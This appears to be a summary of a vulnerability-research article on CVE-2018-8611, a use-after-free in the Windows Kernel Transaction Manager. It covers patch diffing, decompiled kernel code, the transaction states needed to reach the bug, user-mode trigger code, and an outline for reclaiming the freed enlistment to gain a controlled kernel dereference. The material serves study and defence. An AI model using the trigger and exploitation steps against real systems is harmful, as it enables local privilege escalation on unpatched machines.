Executive Summary
CVE-2018-8611 is a use-after-free in the Windows Kernel Transaction Manager (KTM) reachable from a low-privileged user-mode process. Microsoft patched it in December 2018, but the bug is a genuinely instructive piece of Windows kernel internals to walk through end-to-end — the patch is a single-function change inside TmRecoverResourceManager(), the root cause is a race between a notification dispatch and an enlistment finalization, and reaching the vulnerable code requires you to set up multiple transactions and enlistments in very specific states. Part 2 of Aaron Adams’ five-part series at NCC Group focuses on what the patch reveals, how to read it with sane variable names, and how to artificially open the race window in WinDbg so the bug can be confirmed before any real exploit is written.
The piece is also a clinic in two reverse-engineering techniques that come up constantly when working with Windows kernel structures. The first is Diaphora-driven binary diffing across multiple Windows versions, used here to localise the patch into a single function. The second is IDA 7.2’s “shifted pointers” feature: _KRESOURCEMANAGER.EnlistmentHead.Flink does not point at the base of a _KENLISTMENT — it points at +0x88 (the NextSameRm embedded _LIST_ENTRY) — so a typedef like _LIST_ENTRY *__shifted(_KENLISTMENT,0x88) teaches Hex-Rays the offset, and the decompiler output transitions from cryptic v9[-9].Blink arithmetic to readable ADJ(...)->Mutex. Once the patched function is legible, the race becomes obvious: ObfDereferenceObject() can free the enlistment, the recovery thread then sleeps on pResMgr->Mutex, and by the time the lock is reacquired the next-link pointer can be reading freed memory. The rest of Part 2 is the practical setup that gets a Windows 7 VM all the way to that dangling read in a controlled WinDbg session.
TL;DR
The vulnerability root cause is identified by Diaphora-diffing Windows 7 and Windows 10 patched and unpatched binaries, isolating the change to TmRecoverResourceManager(). IDA 7.2’s shifted-pointer feature converts the Hex-Rays output for the function from an unreadable mess into something whose race condition is visible at a glance. The vulnerable code is reached through NtRecoverResourceManager() after driving a transaction into KTransactionPrepared and a separate transaction into KTransactionCommitted, then forcing the race window open by patching KeWaitForSingleObject() inside TmRecoverResourceManager() into an infinite loop. The crash dump that confirms the bug is a near-NULL pointer dereference at TmRecoverResourceManager+0x129, with rdi=0.
Diving into the patch
Patch diffing
CVE-2018-8611 was patched in December 2018. Because the same vulnerability frequently exists in slightly different code on different Windows versions — functions can be inlined differently, certain features may be present on one version but not another, and the patch may live in a different module — it pays to diff several versions in parallel. For Windows 7 x64 SP1 the relevant pair is the December 2018 update KB4471328 replacing the prior KB4467107.

Diaphora is the diffing tool of choice. SQLite-export generation runs in roughly twenty minutes per binary; the actual comparison takes about three. Looking at the partial-match list, the function that immediately stands out by name is TmRecoverResourceManager(). KTM functions in ntoskrnl.exe are easy to spot by their Tm and Tmp prefixes — Tm almost certainly stands for “Transaction Manager”, and Tmp tends to denote internal / private helpers rather than exported syscall handlers.

ntoskrnl.exe. Source: original article.
TmRecoverResourceManager(). Source: original article.
TmRecoverResourceManager(). Source: original article.The assembly-level diff is correct but rough. Hex-Rays output is much easier to reason about. Working through both an uncleaned and a cleaned decompilation side-by-side is well worth the effort — the uncleaned version makes the scale of the cleanup visible, and the cleaned version is what you eventually want to be reading.




On Windows 10 the same diff exercise is faster because the KTM code lives in its own driver, tm.sys, which is much smaller than ntoskrnl.exe. Diffing tm.sys across the same patch boundary yields only TmRecoverResourceManager() as a changed function, confirming the Windows 7 finding.
Tidying Hex-Rays output with “Shifted Pointers”
Shifted pointers?
“Shifted pointers” is an IDA Pro / Hex-Rays feature added in IDA 7.2 that addresses a very common reversing pain point: a pointer is assigned to the address of an internal member of a structure (not the structure base), then dereferenced to reach other members at offsets relative to that internal-member position. In KTM, _KRESOURCEMANAGER.EnlistmentHead.Flink points at _KENLISTMENT.NextSameRm — i.e. _KENLISTMENT + 0x88, not at the base of the _KENLISTMENT. Shifted pointers let you teach Hex-Rays about this so the decompilation reflects it.
Initial Hex-Rays output
Before the shifted-pointer typedef is applied, the Hex-Rays output for TmRecoverResourceManager() reads as a wall of pointer arithmetic. Note in particular the v9 = &curr_Enlistment_list_entry[-9].Blink; step at [a1] — this is the compiler computing NextSameRm back to the _KENLISTMENT base, and it’s exactly what shifted pointers are designed to abstract away.
__int64 __fastcall TmRecoverResourceManager(_KRESOURCEMANAGER *pResMgr)
{
_KRESOURCEMANAGER *pResMgr_; // r12
char v2; // r14
_KTM *Tm; // rax
_LIST_ENTRY *EnlistmentHead_ptr; // r13
_LIST_ENTRY *curr_Enlistment_list_entry; // rdi
_LIST_ENTRY *v6; // rdi
int v7; // er15
unsigned int v8; // er14
__int64 v9; // rsi
// ...
pResMgr_ = pResMgr;
v2 = 0;
Src_4 = 0;
KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
if ( pResMgr_->State == 1 )
pResMgr_->State = 2;
Tm = pResMgr_->Tm;
if ( Tm && Tm->State == 3 )
{
EnlistmentHead_ptr = &pResMgr_->EnlistmentHead;
curr_Enlistment_list_entry = pResMgr_->EnlistmentHead.Flink;
while ( curr_Enlistment_list_entry != EnlistmentHead_ptr )
{
v9 = &curr_Enlistment_list_entry[-9].Blink;
curr_Enlistment_list_entry = curr_Enlistment_list_entry->Flink;
if ( !(*(&v9 + 0xAC) & 4) )
{
KeWaitForSingleObject((&v9 + 64), Executive, 0, 0, 0i64);
*(&v9 + 172) |= 0x80u;
KeReleaseMutex((&v9 + 64), 0);
}
}
v6 = EnlistmentHead_ptr->Flink;
v7 = v19;
while ( v6 != EnlistmentHead_ptr )
{
if ( BYTE4(v6[2].Flink) & 4 )
{
v6 = v6->Flink;
}
else
{
ObfReferenceObject( v6[-9].Blink);
KeWaitForSingleObject( v6[-5].Blink, Executive, 0, 0, 0i64);
v10 = 0;
if ( (HIDWORD(v6[2].Flink) & 0x80u) != 0 )
{
v11 = HIDWORD(v6[2].Flink) & 1;
if ( v11 && ((v12 = v6[1].Blink[12].Flink, v12 == 3) || v12 == 4) )
{
v10 = 1;
v7 = 2048;
}
else if ( !v11 && LODWORD(v6[1].Blink[12].Flink) == 5 || (v13 = v6[1].Blink[12].Flink, v13 == 4) || v13 == 3 )
{
v10 = 1;
v7 = 256;
}
HIDWORD(v6[2].Flink) &= 0xFFFFFF7F;
}
Dealing with shifted pointers
Working out the right offset is a question of WinDbg structure introspection. _KRESOURCEMANAGER.EnlistmentHead is a _LIST_ENTRY, and its Flink / Blink point to _KENLISTMENT structures — specifically into them at the offset of NextSameRm.
1: kd> dt nt!_KRESOURCEMANAGER
nt!_KRESOURCEMANAGER
+0x000 NotificationAvailable : _KEVENT
+0x018 cookie : Uint4B
+0x01c State : _KRESOURCEMANAGER_STATE
+0x020 Flags : Uint4B
+0x028 Mutex : _KMUTANT
+0x060 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK
+0x088 RmId : _GUID
+0x098 NotificationQueue : _KQUEUE
+0x0d8 NotificationMutex : _KMUTANT
+0x110 EnlistmentHead : _LIST_ENTRY
+0x120 EnlistmentCount : Uint4B
+0x128 NotificationRoutine : Ptr64 long
+0x130 Key : Ptr64 Void
+0x138 ProtocolListHead : _LIST_ENTRY
+0x148 PendingPropReqListHead : _LIST_ENTRY
+0x158 CRMListEntry : _LIST_ENTRY
+0x168 Tm : Ptr64 _KTM
+0x170 Description : _UNICODE_STRING
+0x180 Enlistments : _KTMOBJECT_NAMESPACE
+0x228 CompletionBinding : _KRESOURCEMANAGER_COMPLETION_BINDING
1: kd> dt nt!*ENLIST*
ntkrnlmp!_KENLISTMENT_STATE
ntkrnlmp!_KENLISTMENT
ntkrnlmp!_KENLISTMENT_HISTORY
1: kd> dt nt!_KENLISTMENT
+0x000 cookie : Uint4B
+0x008 NamespaceLink : _KTMOBJECT_NAMESPACE_LINK
+0x030 EnlistmentId : _GUID
+0x040 Mutex : _KMUTANT
+0x078 NextSameTx : _LIST_ENTRY
+0x088 NextSameRm : _LIST_ENTRY
+0x098 ResourceManager : Ptr64 _KRESOURCEMANAGER
+0x0a0 Transaction : Ptr64 _KTRANSACTION
+0x0a8 State : _KENLISTMENT_STATE
+0x0ac Flags : Uint4B
+0x0b0 NotificationMask : Uint4B
+0x0b8 Key : Ptr64 Void
+0x0c0 KeyRefCount : Uint4B
+0x0c8 RecoveryInformation : Ptr64 Void
+0x0d0 RecoveryInformationLength : Uint4B
+0x0d8 DynamicNameInformation : Ptr64 Void
+0x0e0 DynamicNameInformationLength : Uint4B
+0x0e8 FinalNotification : Ptr64 _KTMNOTIFICATION_PACKET
+0x0f0 SupSubEnlistment : Ptr64 _KENLISTMENT
+0x0f8 SupSubEnlHandle : Ptr64 Void
+0x100 SubordinateTxHandle : Ptr64 Void
+0x108 CrmEnlistmentEnId : _GUID
+0x118 CrmEnlistmentTmId : _GUID
+0x128 CrmEnlistmentRmId : _GUID
+0x138 NextHistory : Uint4B
+0x13c History : [20] _KENLISTMENT_HISTORY
Looking at the disassembly directly confirms the offset is 0x88: the compiler emits a lea rsi, [rdi-88h] to recover the _KENLISTMENT base from the NextSameRm pointer.
PAGE:0000000140321A76 ; 36: v9 = curr_Enlistment_list_entry[-9].Blink; // 2
PAGE:0000000140321A76
PAGE:0000000140321A76 loc_140321A76: ; CODE XREF: TmRecoverResourceManager+8F↑j
PAGE:0000000140321A76 lea rsi, [rdi-88h]
The corresponding shifted-pointer typedef tells Hex-Rays that decrementing by 0x88 reaches the _KENLISTMENT base:
typedef _LIST_ENTRY *__shifted(_KENLISTMENT,0x88) _KENLISTMENT_NextSameRm_ptr;

Resulting Hex-Rays output
With the shifted-pointer typedef in place, Hex-Rays inserts an ADJ() wrapper at the point of dereference and the code reads almost like the original source. The arithmetic v9[-9].Blink and (&v9 + 0xAC) nightmares give way to ADJ(...)->Flags, ADJ(...)->Mutex, ADJ(...)->Transaction->State.
_KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr; // rdi
_KENLISTMENT_NextSameRm_ptr curr_Enlistment_NextSameRm_ptr_; // rdi
_KENLISTMENT *curr_Enlistment; // rsi
...
if ( Tm && Tm->State == 3 )
{
EnlistmentHead_addr = &pResMgr_->EnlistmentHead;
curr_Enlistment_NextSameRm_ptr = pResMgr_->EnlistmentHead.Flink;
while ( curr_Enlistment_NextSameRm_ptr != EnlistmentHead_addr )
{
curr_Enlistment = ADJ(curr_Enlistment_NextSameRm_ptr);
curr_Enlistment_NextSameRm_ptr = ADJ(curr_Enlistment_NextSameRm_ptr)->NextSameRm.Flink;
if ( !(curr_Enlistment->Flags & 4) )
{
KeWaitForSingleObject( curr_Enlistment->Mutex, Executive, 0, 0, 0i64);
curr_Enlistment->Flags |= 0x80u;
KeReleaseMutex( curr_Enlistment->Mutex, 0);
}
}
curr_Enlistment_NextSameRm_ptr_ = EnlistmentHead_addr->Flink;
v7 = v19;
while ( curr_Enlistment_NextSameRm_ptr_ != EnlistmentHead_addr )
{
if ( ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 4 )
{
curr_Enlistment_NextSameRm_ptr_ = ADJ(curr_Enlistment_NextSameRm_ptr_)->NextSameRm.Flink;
}
else
{
ObfReferenceObject(ADJ(curr_Enlistment_NextSameRm_ptr_));
KeWaitForSingleObject( ADJ(curr_Enlistment_NextSameRm_ptr_)->Mutex, Executive, 0, 0, 0i64);
v10 = 0;
if ( (ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 0x80u) != 0 )
{
v11 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags & 1;
if ( v11 && ((v12 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v12 == 3) || v12 == 4) )
{
v10 = 1;
v7 = 2048;
}
else if ( !v11 && ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State == 5
|| (v13 = ADJ(curr_Enlistment_NextSameRm_ptr_)->Transaction->State, v13 == 4)
|| v13 == 3 )
{
v10 = 1;
v7 = 256;
}
ADJ(curr_Enlistment_NextSameRm_ptr_)->Flags &= 0xFFFFFF7F;
}
Patch analysis
Vulnerable code
The cleaned-up vulnerable version of the inner loop looks like this (annotation markers [v1]…[v7] are added to make the discussion below readable):
pEnlistment_shifted = EnlistmentHead_addr->Flink;
while ( pEnlistment_shifted != EnlistmentHead_addr ) {
if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) {
pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
else {
ObfReferenceObject(ADJ(pEnlistment_shifted));
KeWaitForSingleObject( ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64);
[...]
if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) {
if ([...]) {
[v1] bSendNotification = 1;
}
ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE;
}
[...]
KeReleaseMutex( ADJ(pEnlistment_shifted)->Mutex, 0);
[v2] if ( bSendNotification ) {
KeReleaseMutex( pResMgr->Mutex, 0);
ret = TmpSetNotificationResourceManager(
pResMgr,
ADJ(pEnlistment_shifted),
0i64,
NotificationMask,
0x20u, // sizeof(TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT)
notification_recovery_arg_struct);
[v3] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED )
bEnlistmentIsFinalized = 1;
[v4] ObfDereferenceObject(ADJ(pEnlistment_shifted));
[v5] KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
if ( pResMgr->State != KResourceManagerOnline )
goto b_release_mutex;
}
[...]
[v6] if ( bEnlistmentIsFinalized ) {
pEnlistment_shifted = EnlistmentHead_addr->Flink;
bEnlistmentIsFinalized = 0;
}
else {
[v7] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
}
}
}
When the conditions at [v1] and [v2] are met, the code is about to dispatch a notification via TmpSetNotificationResourceManager(). That dispatch requires releasing the resource-manager mutex, so other code can now make progress on separate threads. After the dispatch returns, [v3] tests KENLISTMENT_FINALIZED — an enlistment with that flag set is one that is ready to be freed — and the following ObfDereferenceObject() at [v4] may in fact be the call that frees it. The code remembers this fact in bEnlistmentIsFinalized so it knows not to reuse the pointer. Then the resource-manager mutex is taken again at [v5], and the next iteration of the loop chooses where to go based on bEnlistmentIsFinalized at [v6]: if set, the loop restarts from EnlistmentHead; otherwise, at [v7], it follows NextSameRm.Flink from the just-processed enlistment.

If the code detects a finalized enlistment and restarts from EnlistmentHead, the head usually points at an already-parsed _KENLISTMENT: that enlistment has already been marked non-notifiable, so it will not produce another notification, and finalized / removed enlistments need not be reparsed.
Patched code
The patched version is much shorter and removes the KENLISTMENT_FINALIZED bookkeeping entirely. Whenever a notification was dispatched, the code now unconditionally restarts the walk from the head of EnlistmentHead — the same effect as if the patched code always assumed the enlistment was finalised. A new transaction-manager-state check has also been added at [p8].
pEnlistment_shifted = EnlistmentHead_addr->Flink;
while ( pEnlistment_shifted != EnlistmentHead_addr )
{
if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) {
pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
else {
ObfReferenceObject(ADJ(pEnlistment_shifted));
KeWaitForSingleObject( ADJ(pEnlistment_shifted)->Mutex, Executive, 0, 0, 0i64);
bSendNotification = 0;
if ( (ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) {
if ([...]) {
[p1] bSendNotification = 1;
}
[...]
ADJ(pEnlistment_shifted)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE;
}
[...]
KeReleaseMutex( ADJ(pEnlistment_shifted)->Mutex, 0);
[p2] if ( bSendNotification ) {
KeReleaseMutex( pResMgr->Mutex, 0);
ret = TmpSetNotificationResourceManager(
pResMgr,
ADJ(pEnlistment_shifted),
0i64,
notification_timeout,
0x20u,
cur_enlistment_guid);
ObfDereferenceObject(ADJ(pEnlistment_shifted));
KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
if ( pResMgr->State != KResourceManagerOnline )
goto b_release_mutex;
Tm_ = pResMgr->Tm;
[p8] if ( !Tm_ || Tm_->State != KKtmOnline )
{
ret = STATUS_TRANSACTIONMANAGER_NOT_ONLINE;
goto b_release_mutex;
}
[p6] pEnlistment_shifted = EnlistmentHead_addr->Flink;
}
else
{
ObfDereferenceObject(ADJ(pEnlistment_shifted));
pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
}
}
The structural change between [p1] and [p6] is the giveaway: the patched code stops checking KENLISTMENT_FINALIZED after the notification and instead always re-reads the list head, assuming the enlistment may have been finalised under it. That is the patch’s admission of a race between the KENLISTMENT_FINALIZED check and the use of pEnlistment_shifted on the next iteration. The _KENLISTMENT behind the shifted pointer can be freed and reused, and the code does not realise it has happened. Annotated:
if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) {
bEnlistmentIsFinalized = 1;
}
// START: Race starts here, if bEnlistmentIsFinalized was not set
ObfDereferenceObject(ADJ(pEnlistment_shifted));
KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
if ( pResMgr->State != KResourceManagerOnline )
goto b_release_mutex;
}
//...
// END: If at any time, after START, another thread finalized and
// closed pEnlistment_shifted, it might now be freed, but
// `bEnlistmentIsFinalized` is not set, so the code doesn't know.
if ( bEnlistmentIsFinalized ) {
pEnlistment_shifted = EnlistmentHead_addr->Flink;
bEnlistmentIsFinalized = 0;
}
else {
// ADJ(pEnlistment_shifed)->NextSameRm.Flink could reference freed
// memory
pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
To confirm that this is the right reading, three questions need answers:
- How and when is
KENLISTMENT_FINALIZEDactually set? - Is setting that flag predicated on
pResMgr->Mutexbeing held by the finalising thread? - Does
ObfDereferenceObject()alone free the_KENLISTMENT?
Congestioning the mutex?
Kaspersky’s original write-up notes: “One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once.” Reversing NtQueryInformationResourceManager() shows that it locks the _KRESOURCEMANAGER mutex too. Inside TmRecoverResourceManager(), the ObfDereferenceObject() at [v4] is immediately followed by the mutex re-acquisition at [v5] — so a thread continuously holding that mutex elsewhere is exactly the lever needed to widen the race window. It is also a convenient location to patch KeWaitForSingleObject() in WinDbg as a debugging aid.
KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
if ( ResourceManagerInformationLength >= 0x18 )
{
DescriptionLength = pResMgr->Description.Length;
*ResourceManagerInformation->DescriptionLength = DescriptionLength;
AdjustedDescriptionLength = pResMgr->Description.Length + 0x14;
if ( AdjustedDescriptionLength <= AdjustedDescriptionLength ) {
copyLength = pResMgr->Description.Length;
}
else {
rcval = STATUS_BUFFER_OVERFLOW;
copyLength = ResourceManagerInformationLength - 0x14;
}
memmove( ResourceManagerInformation->Description, pResMgr->Description.Buffer, copyLength);
}
else {
rcval = STATUS_BUFFER_TOO_SMALL;
}
KeReleaseMutex( pResMgr->Mutex, 0);
A tight loop of calls into this function holds the mutex enough of the time to keep TmRecoverResourceManager() blocked at [v5] and effectively widen the race window indefinitely.
Initial strategy for exploitation
The exploitation strategy that falls out of the patch is:
- Get
TmRecoverResourceManager()past theKENLISTMENT_FINALIZEDcheck on a chosen enlistment, but before it re-acquires the resource-manager mutex. - Free that enlistment — either through
ObfDereferenceObject()inTmRecoverResourceManager()itself, or via other code running whileTmRecoverResourceManager()sits in its mutex wait. - Before the mutex is reacquired, reclaim the freed memory with attacker-controlled bytes.
- The next-iteration read of
NextSameRm.Flinknow follows an attacker-controlled pointer, giving the kernel a controlled write/dereference target.

The patched code’s additional Tm->State != KKtmOnline check did look promising at first as a kill switch, but it turned out not to be the most convenient angle for the actual exploit.
Reaching the vulnerable code
Transaction state prerequisites
TmRecoverResourceManager() is reachable from user mode through the NtRecoverResourceManager() syscall. To actually hit the vulnerable path, three things must line up:
- A transaction and an enlistment exist in states that satisfy the inner notification check.
- Recovery can be driven without the race being inadvertently won by the same thread doing the setup.
- An enlistment can be finalised on demand from another thread.
The notification path that sets bSendNotification = 1 is gated by:
bSendNotification = 0;
if ( (ADJ(pEnlistment)->Flags & KENLISTMENT_IS_NOTIFIABLE) != 0 ) {
bEnlistmentSuperior = ADJ(pEnlistment)->Flags & KENLISTMENT_SUPERIOR;
if ( bEnlistmentSuperior
&& ((state = ADJ(pEnlistment)->Transaction->State, state == KTransactionPrepared)
|| state == KTransactionInDoubt) ) {
bSendNotification = 1;
NotificationMask = TRANSACTION_NOTIFY_RECOVER_QUERY;
}
else if ( !bEnlistmentSuperior && ADJ(pEnlistment)->Transaction->State == KTransactionCommitted
|| (state = ADJ(pEnlistment)->Transaction->State, state == KTransactionInDoubt)
|| state == KTransactionPrepared ) {
bSendNotification = 1;
NotificationMask = TRANSACTION_NOTIFY_RECOVER;
}
ADJ(pEnlistment)->Flags &= ~KENLISTMENT_IS_NOTIFIABLE;
}
Two paths set bSendNotification:
- A superior enlistment whose transaction is in
KTransactionInDoubtorKTransactionPrepared. - A non-superior enlistment whose transaction is in
KTransactionCommitted,KTransactionInDoubt, orKTransactionPrepared.
In practice, superior enlistments require a non-volatile transaction manager and resource manager (i.e. with persistent logging). Because the exploit relies on creating many enlistments for spraying purposes, volatile (non-logged) managers are preferable, and superior enlistments also have a single-instance restriction that makes them unsuitable for spraying. That leaves non-superior enlistments paired with transactions in KTransactionCommitted, KTransactionInDoubt, or KTransactionPrepared as the workable target — with KTransactionCommitted and KTransactionPrepared the most accessible.
Transitioning state
CommitTransaction() blocks until a transaction has finished committing or has been aborted. During that block, the transaction transitions through a number of states reflecting the progress of each of its enlistments.
enum _KTRANSACTION_STATE
{
KTransactionUninitialized = 0,
KTransactionActive = 1,
KTransactionPreparing = 2,
KTransactionPrepared = 3,
KTransactionInDoubt = 4,
KTransactionCommitted = 5,
KTransactionAborted = 6,
KTransactionDelegated = 7,
KTransactionPrePreparing = 8,
KTransactionForgotten = 9,
KTransactionRecovering = 10,
KTransactionPrePrepared = 11
};
Working out how to land on KTransactionPrepared or KTransactionCommitted means reversing the bookkeeping function TmpProcessNotificationResponse(), which is called frequently by many other transaction-handling routines and centrally tracks state changes:
__int64 TmpProcessNotificationResponse(_KENLISTMENT *pEnlistment,
PLARGE_INTEGER VirtualClock,
unsigned int ArrayCount,
_KENLISTMENT_STATE *EnlistmentStatesArray,
_KENLISTMENT_STATE *NewEnlistmentStateArray,
_KTRANSACTION_STATE *TransactionStatesArray,
unsigned int (**pCommitCallback)(struct _KTRANSACTION *, _QWORD),
unsigned int *ShouldFinalizeFlag)
{
[...]
pTransaction = pEnlistment->Transaction;
[...]
pEnlistment->State = NewEnlistmentStateArray[i];
if ( ShouldFinalizeFlag[i] == 1
|| ShouldFinalizeFlag[i] == 2 && !(pEnlistment->NotificationMask & TRANSACTION_NOTIFY_COMMIT) )// optionally finalize
{
TmpFinalizeEnlistment(pEnlistment);
}
KeReleaseMutex( pEnlistment->Mutex, 0);
bHaveEnlistmentMutex = 0;
if ( pCommitCallback[i] ) {
if ( pTransaction->PendingResponses-- == 1 )
rcval = pCommitCallback[i](pTransaction, 0i64);
}
}
[...]
}

TmpProcessNotificationResponse() — the central state-transition helper called by many other notification handlers. Source: original article.One concrete caller is TmPrepareComplete(), the kernel-side implementation of NtPrepareComplete(). Calling PrepareComplete() from user mode pushes the matching _KENLISTMENT from KEnlistmentPreparing to KEnlistmentPrepared, and as soon as every enlistment that belongs to a transaction synchronises on the same new state, the commit callback fires and transitions the transaction to KTransactionPrepared.
__int64 __fastcall TmPrepareComplete(_KENLISTMENT *pEnlistment, LARGE_INTEGER *VirtualClock)
{
_KENLISTMENT_STATE NewEnlistmentStateArray[1]; // [rsp+40h] [rbp-18h]
_KENLISTMENT_STATE EnlistmentStatesArray[1]; // [rsp+44h] [rbp-14h]
unsigned int (__fastcall *pCommitCallback[1])(struct _KTRANSACTION *, _QWORD); // [rsp+48h] [rbp-10h]
unsigned int ShouldFinalizeFlag[1]; // [rsp+70h] [rbp+18h]
_KTRANSACTION_STATE TransactionStatesArray[1]; // [rsp+78h] [rbp+20h]
ShouldFinalizeFlag[0] = 0;
pCommitCallback[0] = TmpTxActionDoPrepareComplete;
EnlistmentStatesArray[0] = KEnlistmentPreparing;
NewEnlistmentStateArray[0] = KEnlistmentPrepared;
TransactionStatesArray[0] = KTransactionPreparing;
return TmpProcessNotificationResponse(
pEnlistment,
VirtualClock,
1u,
EnlistmentStatesArray,
NewEnlistmentStateArray,
TransactionStatesArray,
pCommitCallback,
ShouldFinalizeFlag);
}
__int64 __fastcall TmpTxActionDoPrepareComplete(_KTRANSACTION *pTransaction)
{
LARGE_INTEGER *v1; // rdx
struct _LIST_ENTRY *EnlistmentHead; // rcx
int logerror; // eax MAPDST
_KENLISTMENT *pSuperiorEnlistment; // rcx
__int64 result; // rax
if ( !pTransaction->SuperiorEnlistment || pTransaction->Flags & KTransactionPreparing )
{
pTransaction->State = KTransactionPrepared;
result = TmpTxActionDoCommit(pTransaction, v1);
}
All intermediate state transitions must complete first before PrepareComplete() is called. When the transaction enters KTransactionPrepared, the vulnerable path in TmRecoverResourceManager() finally becomes reachable.
Enlistment state prerequisites
_KENLISTMENT has its own state field, and transaction transitions require every enlistment owned by that transaction to be in the matching state. To get the transaction into KTransactionPrepared, every _KENLISTMENT on it has to be in KEnlistmentPrepared.
enum _KENLISTMENT_STATE
{
KEnlistmentUninitialized = 0,
KEnlistmentActive = 256,
KEnlistmentPreparing = 257,
KEnlistmentPrepared = 258,
KEnlistmentInDoubt = 259,
KEnlistmentCommitted = 260,
KEnlistmentCommittedNotify = 261,
KEnlistmentCommitRequested = 262,
KEnlistmentAborted = 263,
KEnlistmentDelegated = 264,
KEnlistmentDelegatedDisconnected = 265,
KEnlistmentPrePreparing = 266,
KEnlistmentForgotten = 267,
KEnlistmentRecovering = 268,
KEnlistmentAborting = 269,
KEnlistmentReadOnly = 270,
KEnlistmentOutcomeUnavailable = 271,
KEnlistmentOffline = 272,
KEnlistmentPrePrepared = 273,
KEnlistmentInitialized = 274
};
The same TmPrepareComplete() shown above transitions the enlistment from KEnlistmentPreparing to KEnlistmentPrepared.
Preparing for a recovery
The user-mode setup that produces a transaction in KTransactionPrepared is short:
hTx1 = CreateTransaction(NULL);
hEn1 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0);
hEn2 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0);
CommitTransactionAsync(hTx1);
PrePrepareComplete(hEn1);
PrePrepareComplete(hEn2);
PrepareComplete(hEn1);
PrepareComplete(hEn2);
After this sequence the transaction is in KTransactionPrepared. A follow-up CommitComplete() would transition it to KTransactionCommitted, but staying in the non-committed state is preferable for recovery. Using two enlistments rather than one is closer to the structure of the eventual exploit, where many enlistments must all sit in the same state for the transaction to transition.
Empirically, a single KTransactionPrepared transaction alone is not enough to make TmRecoverResourceManager() traverse the vulnerable path — the exploit needs two transactions:
- One transaction in
KTransactionCommittedwith a single enlistment. - One transaction in
KTransactionPreparedwith many enlistments.
Building our race transaction
Once the state machinery is understood, recovering the resource manager triggers TmRecoverResourceManager() and walks the enlistments of the second transaction. A simplified recovery thread:
// recovery thread
void recover(void)
{
//...
// Creating TM and RM
hTM = xCreateVolatileTransactionManager();
hRM = xCreateVolatileResourceManager(hTM, NULL, pResManName);
RecoverResourceManager(hRM);
// have some completed transaction that allows us to actually recover
hTx1 = setup_commit_completed_transaction(hRM);
// set up a bunch of prepared enlistments that we will finalize in racer
// thread
uaf_tx_list = single_tx_uaf_enlistments(hRM, hTM, MAX_TX_ENLISTMENT_COUNT);
// Call the buggy recovery code
RecoverResourceManager(hRM);
//...
}
The thread that calls TmRecoverResourceManager() is referred to throughout as the recovery thread. Notifications can then be read out to confirm that the vulnerable code path is being hit and that notifications associated with the prepared enlistments are arriving as the loop parses them.
Triggering the vulnerability with an assisted race condition
Forcing the race window open
Before attempting to win the race for real, it is much cheaper to artificially widen it. This both guarantees the bug fires and lets you decouple “the trigger code is wrong” from “the race is just hard to win”. The cleanest way to do that for this bug is to patch KeWaitForSingleObject() inside TmRecoverResourceManager() with WinDbg so that the mutex re-acquisition spins forever:
// Race starts here
ObfDereferenceObject(ADJ(pEnlistment_shifted));
KeWaitForSingleObject( pResMgr->Mutex, Executive, 0, 0, 0i64);
While the recovery thread hangs in that loop, user-mode code on other threads has all the time in the world to free and reclaim the target enlistment. This trick is only safe because TmRecoverResourceManager() is rarely called elsewhere in normal operation. For more heavily-used code, redirecting the thread’s instruction pointer onto an inline infinite loop is the equivalent technique without locking up other threads.
How to free a _KENLISTMENT on demand?
Freeing a _KENLISTMENT deterministically requires understanding finalisation. Reversing shows that a finalised, committed enlistment becomes freed once its object reference count drops to zero, and that the bookkeeping flag is KENLISTMENT_FINALIZED. Cross-referencing Tmp* functions identifies TmpFinalizeEnlistment() as the finaliser.

TmpFinalizeEnlistment() callers. Source: original article.A short call chain to reach it:
NtCommitComplete() → TmCommitComplete() → TmpProcessNotificationResponse() → TmpFinalizeEnlistment()
Inside TmpProcessNotificationResponse() the ShouldFinalizeFlag array decides whether to finalise an enlistment after the state set:
if ( ShouldFinalizeFlag[i] == 1 || ShouldFinalizeFlag[i] == 2 && !(pEnlistment->Key & TRANSACTION_NOTIFY_COMMIT) )
TmpFinalizeEnlistment(pEnlistment);
TmpFinalizeEnlistment() itself starts with an idempotency check, then proceeds to break the enlistment’s association with its resource manager under the RM mutex:
EnlistmentFlags = *(pEnlistment->NotificationMask + 1);
if ( EnlistmentFlags & KENLISTMENT_FINALIZED )
return 0i64;
[...]
// Acquire the resource manager's mutex so we can deal with _KRESOURCEMANAGER.EnlistmentHead == _KENLISTMENT.NextSameRm
KeWaitForSingleObject( pRM->Mutex, Executive, 0, 0, 0i64);
TmpRemoveTransactionEnlistmentCounts(pEnlistment);
[...]
TmpRemoveEnlistmentResourceManager(pEnlistment);
